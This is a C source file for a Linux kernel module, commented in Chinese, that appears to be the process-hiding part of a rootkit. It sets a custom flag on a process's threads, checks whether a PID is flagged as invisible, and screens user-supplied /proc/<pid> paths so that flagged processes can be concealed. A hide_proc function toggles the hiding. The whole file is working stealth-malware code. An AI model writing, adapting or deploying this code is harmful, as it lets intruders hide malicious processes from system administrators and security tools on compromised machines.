#include <linux/version.h> // 包含内核版本相关的头文件
#include <linux/uaccess.h> // 包含用户空间访问相关的头文件
#include <linux/ctype.h> // 包含字符类型判断相关的头文件
#include <linux/slab.h> // 包含内核内存分配相关的头文件
#include <linux/namei.h> // 包含文件路径相关的头文件
#include <linux/limits.h> // 包含系统限制相关的头文件

#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
#	include <linux/sched/signal.h> // 包含调度和信号相关的头文件（内核版本4.11及以上）
#endif

#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0)
#	include "string_helpers.h" // 包含字符串辅助函数（内核版本4.2以下）
#endif

#include "proc.h" // 包含自定义的proc.h头文件

// 设置或清除任务的标志
int flag_tasks(pid_t pid, int set)
{
	int ret = 0; // 返回值初始化为0
	struct pid *p; // 定义pid结构体指针

	rcu_read_lock(); // 获取RCU读锁
	p = find_get_pid(pid); // 根据pid获取pid结构体
	if (p) {
		struct task_struct *task = get_pid_task(p, PIDTYPE_PID); // 获取任务结构体
		if (task) {
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
			struct task_struct *t = NULL;

			for_each_thread(task, t) // 遍历任务的所有线程
			{
				if (set)
					t->flags |= FLAG; // 设置标志
				else
					t->flags &= ~FLAG; // 清除标志

				ret++; // 计数
			}
#endif
			if (set)
				task->flags |= FLAG; // 设置标志
			else
				task->flags &= ~FLAG; // 清除标志

			put_task_struct(task); // 释放任务结构体
		}
		put_pid(p); // 释放pid结构体
	}
	rcu_read_unlock(); // 释放RCU读锁
	return ret; // 返回设置或清除标志的任务数
}

// 根据pid查找任务
struct task_struct *find_task(pid_t pid)
{
	struct task_struct *p = current; // 当前任务
	struct task_struct *ret = NULL; // 返回值初始化为NULL

	rcu_read_lock(); // 获取RCU读锁
	for_each_process(p) // 遍历所有进程
	{
		if (p->pid == pid) { // 如果找到匹配的pid
			get_task_struct(p); // 获取任务结构体
			ret = p; // 设置返回值
		}
	}
	rcu_read_unlock(); // 释放RCU读锁

	return ret; // 返回找到的任务结构体
}

// 判断进程是否不可见
int is_proc_invisible(pid_t pid)
{
	struct task_struct *task; // 定义任务结构体指针
	int ret = 0; // 返回值初始化为0

	if (!pid) // 如果pid为0
		return ret; // 返回0

	task = find_task(pid); // 查找任务
	if (!task) // 如果没有找到任务
		return ret; // 返回0

	if (is_task_invisible(task)) // 判断任务是否不可见
		ret = 1; // 设置返回值为1

	put_task_struct(task); // 释放任务结构体
	return ret; // 返回结果
}

// 判断/proc目录下的进程是否不可见
int is_proc_invisible_2(const char __user *filename)
{
	int ret = 0, i, argc, is_num = 1; // 初始化变量
	pid_t pid = 0; // 初始化pid
	char **a; // 定义字符指针数组
	char *name = kmalloc(PATH_MAX, GFP_KERNEL); // 分配内核内存

	if (strncpy_from_user(name, filename, PATH_MAX) > 0) { // 从用户空间复制字符串
		if (strncmp(name, "/proc/", 6) == 0) { // 判断是否以/proc/开头
			strreplace(name, '/', ' '); // 替换斜杠为空格

			a = argv_split(GFP_KERNEL, name, &argc); // 分割字符串

			for (i = 0; i < strlen(a[1]); i++) { // 遍历字符串
				if (!isdigit(*a[1])) // 判断是否为数字
					is_num = 0; // 设置为非数字
			}

			if (is_num) {			
				if (kstrtoint(a[1], 10, &pid) == 0) { // 将字符串转换为整数
					if (is_proc_invisible(pid)) // 判断进程是否不可见
						ret = 1; // 设置返回值为1
				}
			}

			argv_free(a); // 释放字符指针数组
		}
	}

	kfree(name); // 释放内存
	return ret; // 返回结果
}

// 隐藏进程
void hide_proc(pid_t pid)
{
	if (is_proc_invisible(pid)) // 判断进程是否不可见
		flag_tasks(pid, 0); // 清除标志
	else
		flag_tasks(pid, 1); // 设置标志
}

/*
void hide_proc(char *pid_str)
{
	pid_t pid;

	if (kstrtoint(pid_str, 10, &pid) == 0) {
		if (is_proc_invisible(pid))
			flag_tasks(pid, 0);
		else
			flag_tasks(pid, 1);
	}
}
*/